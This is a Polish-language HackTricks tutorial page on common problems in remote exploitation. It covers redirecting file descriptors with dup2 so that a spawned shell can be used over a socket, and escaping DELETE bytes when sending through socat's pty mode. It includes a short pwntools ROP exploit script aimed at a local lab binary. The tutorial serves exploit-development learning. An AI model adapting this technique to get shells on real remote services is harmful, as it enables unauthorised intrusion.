hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md

4.2 KiB

Typowe Problemy Wykorzystywania

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

FDs w Eksploatacji Zdalnej

Podczas wysyłania exploitu do zdalnego serwera, który wywołuje system('/bin/sh') na przykład, zostanie to wykonane w procesie serwera oczywiście, a /bin/sh będzie oczekiwać wejścia z stdin (FD: 0) i będzie drukować wynik w stdout i stderr (FDs 1 i 2). W związku z tym atakujący nie będzie mógł interakcjonować z powłoką.

Sposobem na rozwiązanie tego problemu jest założenie, że gdy serwer został uruchomiony, utworzył numer FD 3 (do nasłuchiwania), a następnie Twoje połączenie będzie w numerze FD 4. Dlatego możliwe jest użycie wywołania systemowego dup2 do zduplikowania stdin (FD 0) i stdout (FD 1) w FD 4 (tego, którym łączy się atakujący), co umożliwi nawiązanie kontaktu z powłoką po jej wykonaniu.

Przykład exploitu stąd:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

Należy zauważyć, że socat już przesyła stdin i stdout do gniazda. Jednak tryb pty obejmuje znaki DELETE. Dlatego jeśli wyślesz \x7f (DELETE -) to usunie poprzedni znak twojego exploitu.

Aby ominąć to, znak ucieczki \x16 musi być poprzedzony przez każde \x7f wysłane.

Tutaj możesz znaleźć przykład tego zachowania.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!